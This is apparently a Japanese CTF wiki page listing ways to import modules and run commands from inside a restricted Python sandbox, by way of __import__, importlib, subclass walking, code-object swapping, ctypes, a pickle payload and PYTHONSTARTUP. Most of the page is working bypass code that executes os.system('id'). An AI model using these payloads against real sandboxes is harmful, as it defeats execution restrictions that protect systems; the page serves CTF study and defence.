pyjail wiki

Import Bypass

Overview

import 文がブロックされている場合でも、様々な代替手段でモジュールをインポートできる。

__import__ 関数

最も基本的な代替手段。

# 通常の import os と同等
__import__('os')
# from os import system と同等
__import__('os').system
# ネストしたモジュール
__import__('os.path').path # os.path
__import__('os.path', fromlist=['']) # os.path を直接取得

importlib モジュール

import importlib
importlib.import_module('os')
# __import__ なしで importlib にアクセス
__builtins__.__dict__['__import__']('importlib').import_module('os')

sys.modules からの取得

既にロード済みのモジュールは sys.modules から直接取得可能。

import sys
sys.modules['os']
# よくあるプリロード済みモジュール
sys.modules['builtins']
sys.modules['sys']
sys.modules['_frozen_importlib']

サブクラスからのインポート

# BuiltinImporter を使用
[c for c in ().__class__.__bases__[0].__subclasses__()
if c.__name__ == 'BuiltinImporter'][0].load_module('os')
# FrozenImporter
[c for c in ().__class__.__bases__[0].__subclasses__()
if c.__name__ == 'FrozenImporter'][0].load_module('os')

__loader__ からのインポート

__loader__.load_module('os')
# __spec__ 経由
__spec__.loader.load_module('os')

exec / eval 内でのインポート

exec('import os; os.system("id")')
eval('__import__("os").system("id")')
# compile との組み合わせ
exec(compile('import os', '<string>', 'exec'))

__code__ の置き換え

def f():
return 1
# os.system を呼び出すコードオブジェクトを作成して置換
g = lambda: __import__('os').system('id')
f.__code__ = g.__code__
f()

zipimport

# zip ファイルからモジュールをインポート
import zipimport
importer = zipimport.zipimporter('malicious.zip')
importer.load_module('evil')

ctypes による dlopen

import ctypes
libc = ctypes.CDLL(None)
libc.system(b'id')

pickle でのインポート

import pickle
# __reduce__ で任意のモジュールをロード
pickle.loads(b"cos\nsystem\n(S'id'\ntR.")

環境変数経由

# PYTHONSTARTUP で指定したファイルが実行される
import os
os.environ['PYTHONSTARTUP'] = '/tmp/evil.py'

特殊なインポートパス

# 相対インポート
from . import module
from .. import module
# パッケージ内
from package import submodule

Tips

  • sys.modules は既存モジュールのキャッシュ、新規インポートには使えない
  • importlib.import_module__import__ より高レベルなAPI
  • __loader__ はPython 3.4以降で利用可能
  • C拡張モジュールは ctypes.CDLL で直接ロード可能